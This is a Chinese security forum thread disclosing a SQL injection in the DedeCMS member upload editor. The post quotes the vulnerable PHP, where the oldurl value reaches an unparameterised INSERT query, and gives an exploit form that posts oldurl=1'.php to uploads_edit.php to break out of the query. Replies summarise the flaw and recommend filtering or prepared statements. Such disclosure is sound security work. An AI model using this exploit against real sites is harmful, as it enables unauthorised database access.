查看: 14937|回复: 3

Dedecms 会员中心注入漏洞7

[复制链接]
发表于 2014-2-28 03:04:56 | 显示全部楼层 |阅读模式
[AppleScript] 查看源码 复制代码
<pre><code>member/upload_edit.php
else if($dopost=='save')
{
    $title = HtmlReplace($title,2);
    if($mediatype==1) $utype = 'image';
    else if($mediatype==2)
    {
        $utype = 'flash';
    }
    else if($mediatype==3)
    {
        $utype = 'media';
    }
    else
    {
        $utype = 'addon';
    }
    $title = HtmlReplace($title, 2);
    $exname = preg_replace("#(.*)/#", "", $oldurl);// 文件名是获取.前面的
    $exname = preg_replace("#\.(.*)$#", "", $exname);
    echo $exname ;
    $filename = MemberUploads('addonfile', $oldurl, $cfg_ml-&gt;M_ID, 
 
$utype,$exname, -1, -1, TRUE);//返回上传的文件名
    SaveUploadInfo($title, $filename, $mediatype);//利用返回的带入查询
    ShowMsg("成功修改文件!", "uploads_edit.php?aid=$aid");
}
 
 
 
function SaveUploadInfo($title,$filename,$medaitype=1,$addinfos='')
{
    global $dsql,$cfg_ml,$cfg_basedir;
    if($filename=='')
    {
        return FALSE;
    }
    if(!is_array($addinfos))
    {
        $addinfos[0] = $addinfos[1] = $addinfos[2] = 0;
    }
    if($medaitype==1)
    {
        $info = '';
        $addinfos = GetImageSize($cfg_basedir.$filename,$info);
    }
    $addinfos[2] = @filesize($cfg_basedir.$filename);
    $row = $dsql-&gt;GetOne("SELECT aid,title,url FROM `#@__uploads` WHERE url 
 
LIKE '$filename' AND mid='".$cfg_ml-&gt;M_ID."'; ");
    $uptime = time();
    if(is_array($row))
    {
        $query = "UPDATE `#@__uploads` SET 
 
title='$title',mediatype='$medaitype',
                     width='{$addinfos[0]}',height='{$addinfos
 
[1]}',filesize='{$addinfos[2]}',uptime='$uptime'
                     WHERE aid='{$row['aid']}'; ";
        $dsql-&gt;ExecuteNoneQuery($query);
    }
    else
    {
        $inquery = "INSERT INTO `#@__uploads`
 
(title,url,mediatype,width,height,playtime,filesize,uptime,mid)
           VALUES ('$title','$filename','$medaitype','".$addinfos
 
[0]."','".$addinfos[1]."','0','".$addinfos[2]."','$uptime','".$cfg_ml-
 
&gt;M_ID."'); ";echo $inquery ;//注入就在这里发生了!
        $dsql-&gt;ExecuteNoneQuery($inquery);
    }
    $fid = $dsql-&gt;GetLastID();
    AddMyAddon($fid, $filename);
    return TRUE;
}</code></pre>


利用方法
[AppleScript] 查看源码 复制代码
&nbsp;
<pre><code>&lt;form id="frmUpload" enctype="multipart/form-data"
 
action="http://127.0.0.1/dede/member/uploads_edit.php?
 
dopost=save&amp;title=ss&amp;oldurl=1'.php" method="post"&gt;看Oldurl就知道了~
 
 
&lt;input type="file" name="addonfile" id="addonfile" size="50"&gt;&lt;br&gt;
&lt;input name="mode" type="hidden" value="2"&gt;
 
&lt;input id="btnUpload" type="submit" value="Upload"&gt;
 

11111111111111111111111111111.jpg
回复

使用道具 举报

发表于 2026-5-21 11:25:00 | 显示全部楼层

Re: Dedecms 会员中心注入漏洞7

这个注入点挖得够细,代码里 `$oldurl` 直接传进 `MemberUploads` 后返回 `$filename`,再拼到 `SaveUploadInfo` 的 SQL 查询里,根本没做过滤或参数化。利用方法里把 `oldurl` 带上单引号和 `.php` 就能闭合,挺典型的二次传递注入。Dedecms 老版本这种问题不少,建议站长赶紧检查 `uploads_edit.php` 的 `dopost=save` 分支,对 `$oldurl` 做严格过滤或者改用预编译。感谢分享!
回复 支持 反对

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: Dedecms 会员中心注入漏洞7

感谢楼主分享这个漏洞细节,代码分析得很清楚,oldurl参数直接拼接进SQL查询确实存在注入风险。这种方式利用上传功能闭合单引号进行注入,思路很巧妙。建议使用该CMS的站长尽快检查相关文件并打补丁或限制上传参数。
回复 支持 反对

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: Dedecms 会员中心注入漏洞7

感谢分享这个漏洞细节!`oldurl`参数过滤不严就拼进SQL语句,确实是个典型的注入点。直接用上传表单构造请求就能触发,挺危险的。希望用Dedecms的朋友尽快检查会员中心的这个文件,临时修复可以先把`oldurl`参数过滤一下。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-25 04:02 , Processed in 0.039037 second(s), 22 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部